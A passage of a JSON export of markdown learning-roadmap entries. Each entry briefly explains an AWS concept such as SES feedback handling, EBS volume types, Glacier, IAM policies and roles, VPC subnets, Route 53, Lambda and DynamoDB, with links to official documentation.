    "content": "# Feedback Handling\n\nAWS Simple Email Service (SES) provides a mechanism for handling bounces, complaints, and delivery notifications. This mechanism is called feedback handling. Bounces occur when an email can't be delivered to a recipient. Complaints happen when a recipient marks an email as spam. Delivery notifications are sent when Amazon SES successfully delivers an email to a recipient's mail server. AWS SES enables you to receive these feedback notifications by email, relayed to an Amazon SNS topic, or through Amazon CloudWatch. The process of deciding on what action to take when your emails bounce or are marked as spam is called feedback handling. AWS SES automatically handles all feedback loop (FBL) complaints for you, but when it comes to bounces, you are given the flexibility to choose how you want your system to respond.\n\nVisit the following resources to learn more:\n\n- [@official@Feedbacks](https://aws.amazon.com/ses/faqs)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/general-purpose@uo5HIyePegnJooortvWLu.md",
    "content": "# General Purpose\n\nGeneral Purpose Storage in AWS refers to Amazon Elastic Block Store (Amazon EBS) volumes designed for a broad range of workloads, including small to medium-sized databases, development and test environments, and boot volumes. The General Purpose SSD (gp2) volumes offer cost-effective storage that is ideal for a broad range of transactional workloads and delivers consistent baseline performance of 3 IOPS/GB to a maximum of 16000 IOPS. Moreover, General Purpose SSD (gp2) volumes also provide the ability to burst to higher levels of performance when needed.\n\nVisit the following resources to learn more:\n\n- [@official@General Purpose Storage](https://aws.amazon.com/ebs/general-purpose/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/glacier@IikKYP58sT2H1lM8glm-g.md",
    "content": "# Glacier\n\nAWS Glacier is a secure, durable, and extremely low-cost storage service for data archiving and long-term backup. It is designed to reliably store data for as long as you need. Its main features are optimized for infrequently accessed data where retrieval time of minutes is acceptable. AWS Glacier supports the archiving of data that is not needed in real-time but might be required for future reference or are legally required to be maintained. AWS Glacier is used when there is no immediate need for data and substantial retrieval time is acceptable, due to its low storage cost.\n\nVisit the following resources to learn more:\n\n- [@official@AWS Glacier](https://aws.amazon.com/s3/storage-classes/glacier/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/health-checks@LXG_znJ3XzPAlDxUH2-Xp.md",
    "content": "# Health checks\n\nRoute53 health checks enable you to monitor the health and performance of your applications, network, and servers. You can create custom health checks that verify the status of specific resources, such as a web server or email server. If the health check fails, Route 53 routes traffic away from the unhealthy resources. Health checks run periodically, at intervals that you specify, to help you detect issues before your end-users do. You can configure alarms to notify you when a resource becomes unhealthy, helping you respond rapidly to potential issues. AWS Route 53 Health Checks also integrates with CloudWatch, providing detailed metrics and graphs for analyzed data.\n\nVisit the following resources to learn more:\n\n- [@official@Route53 Health Checks](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/welcome-health-checks.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/hosted-zones@z-o-2cGYSM6KW_CNJyw3p.md",
    "content": "# Hosted Zones\n\nA **Hosted Zone** in AWS Route 53 is essentially a container that holds information about how you want to route traffic on the internet for a specific domain, such as example.com. Each hosted zone is associated with a set of DNS records, which control the flow of traffic for that domain. AWS Route 53 automatically creates a record set that includes a name server (NS) record and a start of authority (SOA) record when you create a hosted zone. These records provide necessary information about your domain to the DNS system, establishing the basis for routing traffic for that domain to the appropriate IP address in your AWS environment.\n\nVisit the following resources to learn more:\n\n- [@official@Hosted Zones](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/hosted-zones-working-with.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/iaas-vs-paas-vs-saas@i4ijY3T5gLgNz0XqRipXe.md",
    "content": "# IaaS vs PaaS vs SaaS\n\nIaaS, PaaS, and SaaS are three types of cloud service models. **IaaS** or Infrastructure as a Service provides users with a resource-based service via virtualization technology, offering computing infrastructure, physical or (more often) virtual machines and other resources. **PaaS** or Platform as a Service provides runtime environments for developing, testing, and managing applications, it is utilized for software development and offers a platform to developers to build applications and services over the internet. **SaaS** or Software as a Service provides on-demand software accessed via the internet, it delivers a complete software solution that you purchase on a pay-as-you-go basis from a cloud service provider.\n\nLearn more from the following resources:\n\n- [@video@IaaS vs PaaS vs SaaS cloud service models](https://youtu.be/9CVBohl6w0Q?si=cEDnXpd1sGkpf0K2)\n- [@article@Types of Cloud Computing](https://aws.amazon.com/types-of-cloud-computing/?nc1=h_ls)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/iam@xmKeB4hEi2DunmhAsvS1X.md",
    "content": "# IAM\n\nIAM, or Identity and Access Management, in AWS is a service that enables you to manage access to AWS services and resources securely. It allows you to create and manage AWS users and groups, and use permissions to allow and deny their access to AWS resources. The service includes features like shared access to your AWS account, granular permissions, identity federation (including active directory integration), multi-factor authentication (MFA), and providing temporary access for users, among others. IAM is a universal system, meaning it's globally accessible and does not depend on specific regions.\n\nVisit the following resources to learn more:\n\n- [@official@IAM - User Guide](https://docs.aws.amazon.com/IAM/latest/UserGuide/introduction.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/identity-based@cwGuOrmbSTcSoH80skLTk.md",
    "content": "# Identity-Based\n\n\"Identity-based policies\" are one of the types of policies you can create in AWS (Amazon Web Services). They are attached directly to an identity (like an IAM user, group, or role) and control what actions that identity can perform, on which resources, and under what conditions. There are two types - inline and managed. Inline policies are created and managed individually, while managed policies are standalone policies that you can attach to multiple identities. This offers a flexible framework for managing permissions across your AWS resources. These policies are written in a language called JSON (JavaScript Object Notation).\n\nVisit the following resources to learn more:\n\n- [@official@Identity Based Policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_identity-vs-resource.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/identity-verification@bTCVHXPG-LtaaFmgiB2SL.md",
    "content": "# Identity Verification\n\nAmazon Simple Email Service (SES) requires users to verify their identities to ensure they own the email addresses or domains they plan to use as 'From', 'Source', 'Sender', or 'Return-Path' addresses. The verification process prevents unauthorized use of identities. There are two types of identities to verify, email address, and domain. Verifying an email address allows you to send emails from that address. If you verify a domain, you can send emails from any address on that domain. Moreover, while sending an email, the 'From' or 'Return-Path' address must be a verified email or domain.\n\nVisit the following resources to learn more:\n\n- [@official@Identity Verification](https://docs.aws.amazon.com/ses/latest/dg/Welcome.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/instance-profiles@i7X1GfOx5AZYFskepW4Zr.md",
    "content": "# Instance Profiles\n\nInstance profiles are AWS IAM entities that you can use to grant permissions to applications running on your EC2 instances. They effectively allow your instances to make secure API requests. An instance profile is essentially a container for an AWS Identity and Access Management (IAM) role that you can use to pass roles to EC2 instances at launch time. Once an IAM role is associated with an instance at launch time, we can't change the role. However, you can modify the permissions policies attached to the role, and the updated permissions do take effect immediately.\n\nVisit the following resources to learn more:\n\n- [@official@Instance Profiles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/instance-types@VHD2ISW9WoSWjp8Hh6Zft.md",
    "content": "# Instance Types\n\nAWS EC2 instances come in a variety of types optimized to fit different use cases. They are grouped into categories depending on their performance capacity and pricing structure. There are five categories of instance types including General Purpose, Compute Optimized, Memory Optimized, Storage Optimized, and Accelerated Computing instances. Each category is suited best for specific workloads and they consist of different instance types each given a specific name, for example, 't2.micro'. Each instance type has a specific amount of CPU, memory, storage, and network capacity. Understanding the workloads of your applications can help you determine which instance type would be best suited to your needs.\n\nVisit the following resources to learn more:\n\n- [@official@AWS EC2 Instance Types](https://aws.amazon.com/ec2/instance-types)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/internet-gateway@Le8yOJzpzxH1xgd7XEU2B.md",
    "content": "# Internet Gateway\n\nAn **Internet Gateway** is a redundant, horizontally scalable component in AWS that performs bi-directional routing between a VPC and the Internet. It serves two purposes; routing outbound traffic from the VPC to the internet (NAT), and routing inbound traffic from the Internet to the VPC. It's automatically highly available and provides bandwidth and redundancy across all AWS Regions. It becomes associated with a VPC upon creation, and cannot be detached or attached to another VPC once created. Security to and from the Internet Gateway can be controlled using route tables and security groups or network ACLs.\n\nVisit the following resources to learn more:\n\n- [@article@Internet Gateway](https://www.cisco.com/c/en/us/products/routers/what-is-a-network-gateway.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/introduction-to-aws@Dg1v9TV-wGSNLPfAals_y.md",
    "content": "# Introduction to AWS\n\nAWS (Amazon Web Services) offers a broad set of global cloud-based products including compute, storage, databases, analytics, networking, mobile, developer tools, management tools, IoT, security, and enterprise applications: on-demand, available in seconds, with pay-as-you-go pricing. From data warehousing to deployment tools, directories to content delivery, over 200 AWS services are available. New services can be provisioned quickly, without the upfront fixed expense. This allows enterprises, start-ups, small and medium-sized businesses, and customers in the public sector to access the building blocks they need to respond quickly to changing business requirements. This whitepaper provides you with an overview of the benefits of the AWS Cloud and introduces you to the services that make up the platform.\n\nLearn more from the following links:\n\n- [@official@AWS Documentation](https://docs.aws.amazon.com/)\n- [@official@Introduction of AWS](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/introduction.html)\n- [@video@AWS Tutorial for Beginners](https://www.youtube.com/watch?v=zA8guDqfv40)\n- [@feed@Explore top posts about AWS](https://app.daily.dev/tags/aws?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/introduction@Py9nst2FDJ1_hoXeX_qSF.md",
    "content": "# Introduction\n\nAWS (Amazon Web Services) offers a broad set of global cloud-based products including compute, storage, databases, analytics, networking, mobile, developer tools, management tools, IoT, security, and enterprise applications: on-demand, available in seconds, with pay-as-you-go pricing. From data warehousing to deployment tools, directories to content delivery, over 200 AWS services are available. New services can be provisioned quickly, without the upfront fixed expense. This allows enterprises, start-ups, small and medium-sized businesses, and customers in the public sector to access the building blocks they need to respond quickly to changing business requirements. This whitepaper provides you with an overview of the benefits of the AWS Cloud and introduces you to the services that make up the platform.\n\nLearn more from the following links:\n\n- [@official@AWS Documentation](https://docs.aws.amazon.com/)\n- [@official@Introduction of AWS](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/introduction.html)\n- [@article@How to Create an AWS Account](https://grapplingdev.com/tutorials/how-to-create-aws-account)\n- [@video@AWS Tutorial for Beginners](https://www.youtube.com/watch?v=zA8guDqfv40)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/invalidations@hRXbAADgRTXEFwbBXeNu7.md",
    "content": "# Invalidations\n\n`Invalidations` in AWS CloudFront is a concept where you remove files (objects) from CloudFront cache before it hits the expiration period. AWS CloudFront, like any other CDN, stores copies of your website’s static files in its cache until and unless it reaches its TTL (time to live) duration. But in some situations, you might want to remove or replace these files. For instance, these could be changes in CSS or JS files. This is where Invalidations come to the scene. With this, you can immediately remove objects or files from edge locations.\n\nVisit the following resources to learn more:\n\n- [@official@Invalidations Cloudfront](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Invalidation.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/keypairs@wFT-fddGn__DRoqG0joFk.md",
    "content": "# Keypairs\n\nKey pairs are part of Amazon EC2 and are used to securely log into your instances. A key pair consists of a public key and a private key. Amazon EC2 generates the key pair and gives you the private key, whereas the public key is stored with AWS. When you launch an EC2 instance, you specify the name of the key pair. You can then use the private key to securely connect to your instance. Key pairs are region-specific, meaning you need to create separate key pairs for each region in which you operate your instances.\n\nVisit the following resources to learn more:\n\n- [@official@EC2 - Keypairs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/lambda@741vsAPTXJLVUlazFg0q4.md",
    "content": "# Lambda\n\nAWS Lambda is a serverless computing service that runs code in response to events and automatically manages the computing resources required by that code. It lets us run applications and services without thinking about servers. You can execute your back-end application code, run code in response to HTTP requests using Amazon API Gateway, or call your functions using API calls made using AWS SDKs. AWS Lambda automatically scales your applications in response to incoming requests. AWS Lambda supports Java, Go, PowerShell, Node.js, C#, Python, and Ruby code, and provides a Runtime API which allows you to use any additional programming languages to author your functions.\n\nVisit the following resources to learn more:\n\n- [@official@AWS Lambda](https://docs.aws.amazon.com/lambda/latest/dg/welcome.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/lambdaedge@5SF5nO94NFDkHY8UJoeAY.md",
    "content": "# Lambda Edge\n\nLambda Edge is a feature of AWS Lambda that allows you to run coding functions at AWS edge locations, closest to your customers. This can result in lower latency response times and better customer experiences. It allows you to customize the content that CloudFront delivers, executing the code after the CloudFront response or request. Lambda@Edge scales automatically, from a few requests per day to thousands per second.\n\nVisit the following resources to learn more:\n\n- [@official@AWS Lambda Edge](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-at-the-edge.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/launch-config--autoscaling-groups@1r2FL3OEOh0S9ee0OVnrN.md",
    "content": "# Launch Config / Autoscaling Groups\n\n`Launch Configuration` is a template that an Auto Scaling group uses to launch EC2 instances. When you create a launch configuration, you specify information for the instances such as the ID of the Amazon Machine Image (AMI), the instance type, a key pair, one or more security groups, and a block device mapping. If you've launched an instance before, you can specify the same parameters for your launch configuration. Any parameters that you don't specify are automatically filled in with the default values that are set by the launch wizard.\n\nVisit the following resources to learn more:\n\n- [@official@Launch Config in EC2](https://docs.aws.amazon.com/autoscaling/ec2/userguide/launch-configurations.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/launch-templates@K0GCk5_HDvP0_ZqsUc3tG.md",
    "content": "# Launch Templates\n\n\"Launch Templates\" in AWS Auto Scaling are configurations that an Auto Scaling group uses to launch EC2 instances. They store the configuration information necessary to launch an instance, which includes the ID of the Amazon Machine Image (AMI), the instance type, a key pair, security groups, and the storage configuration. It helps in setting up new instances quickly and prevent configuration inconsistencies across instances. These templates can also be versioned, allowing updates and roll backs to previous configurations.\n\nVisit the following resources to learn more:\n\n- [@official@Launch Templates](https://aws.amazon.com/about-aws/whats-new/2017/11/introducing-launch-templates-for-amazon-ec2-instances/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/layers@CL93C0NGFQmScVnftnRtO.md",
    "content": "# Layers\n\nAWS Lambda layers are distribution mechanisms for libraries, custom runtimes, and other function dependencies. In other words, they are a distribution mechanism for artifacts. The layers can be versioned, and each version is immutable. An AWS Lambda layer is a ZIP archive that contains libraries, a custom runtime, or other dependencies. Lambda functions can be configured to reference these layers. The layer is then extracted to the `/opt` directory in the function execution environment. Each runtime looks for libraries in a different location under the `/opt` folder, depending on the language.\n\nVisit the following resources to learn more:\n\n- [@official@AWS Lambda Layers](https://docs.aws.amazon.com/lambda/latest/dg/chapter-layers.html)\n- [@video@Create and Use Lambda Layers](https://www.youtube.com/watch?v=jyuZDkiHe2Q)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/limits@0ctJa-V6aenimSr5h303J.md",
    "content": "# Limits\n\nIn terms of DynamoDB, it’s important to be aware of certain limits. There are two types of capacity modes - provisioned and on-demand, with varying read/write capacity units. You have control over the provisioning of throughput for read/write operations. However, there's a maximum limit of 40000 read capacity units and 40000 write capacity units for on-demand mode per table. It's also important to note that the partition key value and sort key value can be a maximum of 2048 bytes and 1024 bytes respectively. Each item, including primary key, can be a maximum of 400KB. The total provisioned throughput for all tables and global secondary indexes in a region cannot exceed 20,000 write capacity units and 20000 read capacity units for on-demand mode. Remember, you can request to increase these limits by reaching out to AWS Support.\n\nVisit the following resources to learn more:\n\n- [@official@Limit Settings](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/ServiceQuotas.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/logs@oC6KIjWAXw0hLl4FwkB9F.md",
    "content": "# Logs\n\nAWS CloudWatch Logs service allows you to monitor, store, and access your log files from Amazon Elastic Compute Cloud (Amazon EC2) instances, AWS CloudTrail, and other sources. It centralizes the logs from all your systems, applications, and AWS services that you use, into a single, highly scalable service. You can then easily view them, search through them, set alarms, and correlate them to other operational data. It also integrates with AWS Lambda, providing the ability to respond quickly to critical operational events.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon Cloudwatch Logs](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/WhatIsCloudWatchLogs.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/magnetic@y0CoNcEFHyz350f7pNddt.md",
    "content": "# Magnetic\n\n\"Magnetic\" in AWS refers to Magnetic storage, also known as Amazon EBS (Elastic Block Store) Magnetic volumes. These storage types are designed for workloads where data is accessed infrequently, and sceneries where the lowest storage cost is important. Magnetic volumes offer cost-effective storage for applications with moderate or bursty I/O requirements. Though magnetic storage provides the lowest cost per gigabyte of all EBS volume types, it has the poorest performance capability and a higher latency compared to solid-state drive storage options.\n\nVisit the following resources to learn more:\n\n- [@official@Magnetic Storage](https://aws.amazon.com/ebs/previous-generation/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/metrics@2vQPmVNk1QpMM-15RKG8b.md",
    "content": "# Metrics\n\nIn Amazon CloudWatch, **metrics** are fundamental concepts that you work with. A metric is the fundamental concept in CloudWatch and represents a time-ordered set of data points that are published to CloudWatch. Think of a metric as a variable to monitor, and the data points as representing the values of that variable over time. Metrics are uniquely defined by a name, a namespace, and zero or more dimensions up to 30 dimensions per metric. Every data point must have a timestamp. You can retrieve statistics about those data points as an ordered set of time-series data. CloudWatch provides metrics for every service in AWS.\n\nLearn more from the following resources:\n\n- [@official@CloudWatch Metrics](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/publishingMetrics.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/nat-gateway@6D-gs32jrCyvMVhr9PSAY.md",
    "content": "# NAT Gateway\n\nAWS NAT Gateway is a managed service that provides source Network Address Translation (NAT) for instances in a private subnet so they can access the internet securely. It's designed to operate automatically, handling bandwidth scaling, failover, and managing carrier IP addresses. With NAT Gateway, instances within a VPC can access the internet for software updates, patches, etc, but inbound traffic from the internet is prevented, helping maintain the security and privacy of the private subnet. NAT Gateway is redundant within the Availability Zone, providing high availability. It supports TCP, UDP, and ICMP protocols, as well as Port Address Translation (PAT).\n\nVisit the following resources to learn more:\n\n- [@official@NAT Gateway](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/policies@dO9ZfUyNia7L_fCh4d0n7.md",
    "content": "# Policies\n\nAmazon CloudFront works with AWS Identity and Access Management (IAM) and AWS Organizations to provide you with options to implement fine-grained access control over your CloudFront distributions. CloudFront policies allow you to specify the permissions of a resource. You can create a policy to allow an IAM user to create or delete distributions, to allow an AWS account to create a CloudFront origin access identity, or to allow an organization to update the settings for a distribution. You can also use policies to specify which Amazon S3 bucket a CloudFront distribution can access.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudfront IAM](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/security-iam.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/policies@eQAn3e-k9WNufPqOnwY_K.md",
    "content": "# Policies\n\nPolicies in Amazon IAM (Identity and Access Management) are documents that act as containers for permissions. They are expressed in JSON format in IAM and they define the actions, effects, resources, and optional conditions. There are two types of policies: identity-based policies and resource-based policies. Identity-based policies are attached to an IAM identity, and resource-based policies are attached to a resource. These policies specify what actions are allowed or denied on what resources, under what conditions. They are your primary tool in defining and managing permissions in AWS.\n\nVisit the following resources to learn more:\n\n- [@official@Permissions and Policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/introduction_access-management.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/primary-keys--secondary-indexes@oWtWgaFznTPJhQIyfIIQf.md",
    "content": "# Primary Keys / Secondary Indexes\n\nDynamoDB supports two types of primary keys, namely `Partition Key` and `Composite Key` (Partition Key and Sort Key). A `Partition Key`, also known as a hash key, is a simple primary key that has a scalar value (a string, a number, or a binary blob). DynamoDB uses the partition key's value to distribute data across multiple partitions for scalable performance. A `Composite Key` consists of two attributes. The first attribute is the partition key, and the second attribute is the sort key. DynamoDB uses the partition key to spread data across partitions and also uses the sort key to store items in sorted order within those partitions. This sort key provides further granular control over data organization.\n\nVisit the following resources to learn more:\n\n- [@official@Primary Keys / Secondary Indexes](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/SecondaryIndexes.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/private-subnet@ymuURDwW8JG3NSIXcl0FL.md",
    "content": "# Private Subnet\n\nPrivate subnets in AWS are isolated network segments within your VPC that do not have direct access to the internet. You can use private subnets to run services and applications that should not be directly accessible from the outside world, but still need to communicate with other resources within your VPC. Any instances launched in a private subnet cannot directly send traffic to the internet without routing through a NAT device.\n\nVisit the following resources to learn more:\n\n- [@official@Subnets](https://docs.aws.amazon.com/vpc/latest/userguide/configure-subnets.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/provisioned-iops@3l1ji4JToj277vpgONmLw.md",
    "content": "# Provisioned IOPS\n\n\"Provisioned IOPS\" is a storage option available in Amazon Web Services' (AWS) Elastic Block Store (EBS). This option is designed to deliver fast, predictable, and consistent I/O performance. It allows you to specify an IOPS rate when creating a volume, and AWS will provision that rate of performance, hence the name. It's primarily suitable for databases and workloads that require high IOPS. An EBS volume with provisioned IOPS is backed by solid-state drives (SSDs), and you can specify up to a maximum of 64,000 IOPS per volume.\n\nVisit the following resources to learn more:\n\n- [@official@Provisioned IOPS](https://docs.aws.amazon.com/ebs/latest/userguide/provisioned-iops.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/public-subnet@ABCH1rATHmecyWHyK3n-m.md",
    "content": "# Public Subnet\n\nIn AWS, a subnet that's designated as `public` is one that has direct access to the Internet. Each subnet that you create runs on its own portion of the AWS network, and you can consider them as logically isolated sections. When a subnet is designated as public, it means an Internet Gateway is attached to it and thus instances within this subnet can easily communicate with the outside net. Each instance that you launch into a public subnet is automatically assigned a private IPv4 address and a public IPv4 address. These addresses don't change and remain with the instance, until it's stopped, terminated or replaced with a different address. This setup allows instances in the public subnet to communicate directly with the internet and other AWS services.\n\nVisit the following resources to learn more:\n\n- [@official@Subnets](https://docs.aws.amazon.com/vpc/latest/userguide/configure-subnets.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/public-vs-private-vs-hybrid-cloud@3hatcMVLDbMuz73uTx-9P.md",
    "content": "# Public vs Private vs Hybrid Cloud\n\nAmazon Web Services (AWS) offers various cloud-based deployment models to cater to varying business needs, including Public, Private, and Hybrid clouds. A **Public Cloud** is a model where the service provider offers resources, such as applications and storage, available to the general public over the internet. Resources may be free, or sold on a pay-per-usage model. On the other hand, a **Private Cloud** is a type of cloud computing that delivers similar advantages to public cloud, including scalability and self-service, but through a proprietary architecture dedicated to a single organization. Unlike public clouds, which deliver services to multiple organizations, a private cloud is dedicated to the needs and goals of a single entity. Lastly, a **Hybrid Cloud** is a solution that combines a private cloud with one or more public cloud services, with proprietary software enabling communication between each distinct service.\n\nVisit the following resources to learn more:\n\n- [@article@Types of Cloud Computing](https://www.redhat.com/en/topics/cloud-computing/public-cloud-vs-private-cloud-and-hybrid-cloud)\n- [@article@Selecting the right cloud for workloads](https://docs.aws.amazon.com/whitepapers/latest/public-sector-cloud-transformation/selecting-the-right-cloud-for-workloads-differences-between-public-private-and-hybrid.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/purchasing-options@8v9T6Y6JC7qaqIgkbT-nr.md",
    "content": "# Purchasing Options\n\nAmazon EC2 provides several purchasing options to fit different workload needs. The **On-Demand** option allows clients to pay for compute capacity per hour with no long-term commitments. **Reserved Instances** provide a significant discount compared to On-Demand pricing and are ideal for applications required steady state usage. **Spot Instances** allow clients to bid for unused Amazon EC2 capacity and can provide significant savings if flexibility is possible in starting and stopping times. **Dedicated Hosts** are physical EC2 servers dedicated to specific clients, suitable for regulatory requirements and licenses which do not support multi-tenant virtualization, and **Savings Plans** offer reduced rates for committing to a consistent amount of usage for 1 or 3 years.\n\nVisit the following resources to learn more:\n\n- [@official@Purchasing Options](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-purchasing-options.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/quotas@PYgs4niQRlLKCBMfM4qf9.md",
    "content": "# Quotas\n\nAWS ElastiCache quotas define the limit on the maximum number of clusters, nodes, parameter groups, and subnet groups you can create in an AWS account. These quotas vary by region and can be increased upon request to the AWS Service team. Quotas for ElastiCache are implemented to prevent unintentional overconsumption of resources. It's important to monitor your current usage and understand the quotas of your account to efficiently manage your ElastiCache resources.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon ElastiCache Quotas](https://docs.aws.amazon.com/AmazonElastiCache/latest/red-ug/quota-limits.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/rds@fkMF-2PQZ00UdwxhQt1ds.md",
    "content": "# RDS\n\nAmazon RDS (Relational Database Service) is a web service from Amazon Web Services. It's designed to simplify the setup, operation, and scaling of relational databases in the cloud. This service provides cost-efficient, resizable capacity for an industry-standard relational database and manages common database administration tasks. RDS supports six database engines: Amazon Aurora, PostgreSQL, MySQL, MariaDB, Oracle Database, and SQL Server. These engines give you the ability to run instances ranging from 5GB to 6TB of memory, accommodating your specific use case. It also ensures the database is up-to-date with the latest patches, automatically backs up your data and offers encryption at rest and in transit.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon RDS](https://aws.amazon.com/rds/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/resource-based@v_YmmlOk-DkzJ8mI5Ftgr.md",
    "content": "# Resource-Based\n\nResource-based policies are attached directly to the AWS resources that receive the permissions. The policy then specifies what actions are allowed or denied on that particular resource. In resource-based policies, you include a `Principal` element in the policy to indicate the IAM users or roles that are granted the permissions. While not all AWS services support resource-based policies, common services that do include Amazon S3 for bucket policies, AWS KMS for key policies, and Amazon SNS for topic policies.\n\nVisit the following resources to learn more:\n\n- [@official@Identity Based Policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_identity-vs-resource.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/roles@7nI202hX41mI5ms9LZonh.md",
    "content": "# Roles\n\nIAM Roles in AWS are a form of secure access control that do not directly associate with specific users or groups. Instead, trusted entities such as AWS users, applications or services (like EC2) can take on roles to obtain temporary security credentials for making AWS API requests. The structure of roles lets you delegate access with defined permissions, helping to keep your environment secure. Moreover, because roles yield temporary credentials for navigation within AWS, you won't have to deal with long-term keys.\n\nVisit the following resources to learn more:\n\n- [@official@Create Your First Role](https://docs.aws.amazon.com/IAM/latest/UserGuide/getting-started-roles.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/route-tables@FCdOnwQubhOnCFFnF8uJN.md",
    "content": "# Route Tables\n\nA _Route Table_ in AWS VPC is a set of rules, called routes, that are used to determine where network traffic is directed. Each subnet in your VPC must be associated with a route table, which controls the traffic for the subnet. By default, your VPC has a main route table that you can modify. You can also create additional custom route tables for your VPC. A subnet can only be associated with one route table at a time, but you can change the association.\n\nVisit the following resources to learn more:\n\n- [@official@Route Tables](https://docs.aws.amazon.com/quicksight/latest/user/vpc-route-table.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/route53@f89qL7Cg9R_LTxBEG4jUK.md",
    "content": "# Route53\n\nAWS Route 53 is a scalable and highly available domain name system (DNS) service designed to give developers and businesses an extremely reliable and cost-effective way to route users to Internet applications. This DNS service effectively connects user requests to infrastructure running in Amazon Web Services (AWS) – such as an Amazon EC2 instance, an Amazon Elastic Load Balancer, or an Amazon S3 bucket – and can also be used to route users to infrastructure outside of AWS. Route 53 conceals the complexities of the underlying DNS protocol, offering developers an easy-to-use and cost-effective domain registration service. It features domain transfer capabilities, DNS failover, health checks, and customizable TTLs.\n\nVisit the following resources to learn more:\n\n- [@official@Route53](https://aws.amazon.com/route53/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/routing-policies@IQhPG1La7dZeSXnX23D1n.md",
    "content": "# Routing Policies\n\nAWS Route 53 provides different routing policies to fit various needs:\n\n1. **Simple Routing Policy**: Used for a single resource that performs a specific function.\n\n2. **Weighted Routing Policy**: Useful if you have multiple resources and you want to direct a certain percentage of traffic to each.\n\n3. **Latency Routing Policy**: Allows to route traffic based on the lowest network latency for your user (i.e., which region will give them the fastest response time).\n\n4. **Failover Routing Policy**: Used when you want to create an active/passive setup. For instance, you might want your primary resource to serve all your traffic, but if it fails, you can reroute traffic to a backup resource.\n\n5. **Geo location Routing Policy**: Routes traffic based on the geographic location of your users.\n\n6. **Geo Proximity Routing Policy (Traffic Flow Only)**: Route traffic based on the geographic location of your resources and, optionally, shift traffic from resources in one location to resources in another.\n\n7. **Multi Value Answer Routing Policy**: Used when you want Route 53 to respond to DNS queries with up to eight healthy records selected at random.\n\nVisit the following resources to learn more:\n\n- [@official@Routing Policies](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/s3-ia@JlkLNQ8wRzGkjaootNKOD.md",
    "content": "# S3-IA\n\nAmazon S3 Infrequent Access (S3 IA) is a storage class in Amazon S3 designed for data that is accessed less frequently, but requires rapid access when needed. S3 IA offers the high durability, high throughput, and low latency of Amazon S3 Standard, with a lower cost per GB for storage and a per GB retrieval fee. This makes S3 IA suitable for long-term storage, backups, and as a data store for disaster recovery files.\n\nVisit the following resources to learn more:\n\n- [@official@AWS S3-IA](https://docs.aws.amazon.com/AmazonS3/latest/userguide/storage-class-intro.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/s3@PN3xAYfQ-_QgZCRCnsEca.md",
